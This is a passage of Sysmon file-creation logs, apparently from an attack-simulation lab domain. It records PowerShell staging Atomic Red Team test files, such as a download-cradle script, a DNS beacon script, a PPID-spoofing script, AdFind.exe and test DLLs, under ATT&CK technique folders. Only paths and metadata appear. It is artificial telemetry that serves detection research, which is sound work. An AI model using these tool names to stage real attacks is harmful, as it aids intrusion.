2020-08-07 11:56:11.617\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1059.001\\src\\Invoke-DownloadCradle.ps1\r\nCreationUtcTime: 2020-08-07 11:56:11.617","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.617","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1059.001\\src\\Invoke-DownloadCradle.ps1","CreationUtcTime":"2020-08-07 11:56:11.617","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4759,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.633\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1059.001\\src\\test.ps1\r\nCreationUtcTime: 2020-08-07 11:56:11.633","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.633","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1059.001\\src\\test.ps1","CreationUtcTime":"2020-08-07 11:56:11.633","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4760,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.664\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1071.004\\src\\T1071-dns-beacon.ps1\r\nCreationUtcTime: 2020-08-07 11:56:11.664","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.664","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1071.004\\src\\T1071-dns-beacon.ps1","CreationUtcTime":"2020-08-07 11:56:11.664","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4761,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.664\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1071.004\\src\\T1071-dns-domain-length.ps1\r\nCreationUtcTime: 2020-08-07 11:56:11.664","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.664","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1071.004\\src\\T1071-dns-domain-length.ps1","CreationUtcTime":"2020-08-07 11:56:11.664","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4762,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.680\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1074.001\\src\\Discovery.bat\r\nCreationUtcTime: 2020-08-07 11:56:11.680","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.680","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1074.001\\src\\Discovery.bat","CreationUtcTime":"2020-08-07 11:56:11.680","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4763,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: EXE\r\nUtcTime: 2020-08-07 11:56:11.696\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1087.002\\src\\AdFind.exe\r\nCreationUtcTime: 2020-08-07 11:56:11.696","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"EXE","UtcTime":"2020-08-07 11:56:11.696","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1087.002\\src\\AdFind.exe","CreationUtcTime":"2020-08-07 11:56:11.696","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4764,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.758\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1110.003\\src\\parse_net_users.bat\r\nCreationUtcTime: 2020-08-07 11:56:11.758","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.758","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1110.003\\src\\parse_net_users.bat","CreationUtcTime":"2020-08-07 11:56:11.758","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4765,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.774\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1114.001\\src\\Get-Inbox.ps1\r\nCreationUtcTime: 2020-08-07 11:56:11.774","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.774","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1114.001\\src\\Get-Inbox.ps1","CreationUtcTime":"2020-08-07 11:56:11.774","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4766,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.789\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1127.001\\src\\T1127.001.csproj\r\nCreationUtcTime: 2020-08-07 11:56:11.789","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.789","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1127.001\\src\\T1127.001.csproj","CreationUtcTime":"2020-08-07 11:56:11.789","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4767,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:11.805\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1134.004\\bin\\calc.dll\r\nCreationUtcTime: 2020-08-07 11:56:11.805","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:11.805","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1134.004\\bin\\calc.dll","CreationUtcTime":"2020-08-07 11:56:11.805","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4768,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.805\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1134.004\\src\\PPID-Spoof.ps1\r\nCreationUtcTime: 2020-08-07 11:56:11.805","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.805","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1134.004\\src\\PPID-Spoof.ps1","CreationUtcTime":"2020-08-07 11:56:11.805","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4769,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.867\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218.001\\src\\T1218.001.chm\r\nCreationUtcTime: 2020-08-07 11:56:11.867","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.867","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218.001\\src\\T1218.001.chm","CreationUtcTime":"2020-08-07 11:56:11.867","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4770,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.899\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218.004\\src\\InstallUtilTestHarness.ps1\r\nCreationUtcTime: 2020-08-07 11:56:11.899","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.899","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218.004\\src\\InstallUtilTestHarness.ps1","CreationUtcTime":"2020-08-07 11:56:11.899","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4771,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.914\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218.005\\src\\T1218.005.hta\r\nCreationUtcTime: 2020-08-07 11:56:11.914","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.914","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218.005\\src\\T1218.005.hta","CreationUtcTime":"2020-08-07 11:56:11.914","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4772,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.914\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218.005\\src\\powershell.ps1\r\nCreationUtcTime: 2020-08-07 11:56:11.914","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.914","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218.005\\src\\powershell.ps1","CreationUtcTime":"2020-08-07 11:56:11.914","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4773,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:11.946\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218.007\\src\\x64\\T1218.dll\r\nCreationUtcTime: 2020-08-07 11:56:11.946","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:11.946","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218.007\\src\\x64\\T1218.dll","CreationUtcTime":"2020-08-07 11:56:11.946","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4774,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:11.946\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218.008\\src\\Win32\\T1218-2.dll\r\nCreationUtcTime: 2020-08-07 11:56:11.946","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:11.946","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218.008\\src\\Win32\\T1218-2.dll","CreationUtcTime":"2020-08-07 11:56:11.946","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4775,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:11.961\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218.010\\bin\\AllTheThingsx64.dll\r\nCreationUtcTime: 2020-08-07 11:56:11.961","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:11.961","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218.010\\bin\\AllTheThingsx64.dll","CreationUtcTime":"2020-08-07 11:56:11.961","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4776,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:11.977\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218.010\\bin\\AllTheThingsx86.dll\r\nCreationUtcTime: 2020-08-07 11:56:11.977","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:11.977","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218.010\\bin\\AllTheThingsx86.dll","CreationUtcTime":"2020-08-07 11:56:11.977","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4777,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:11.993\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: 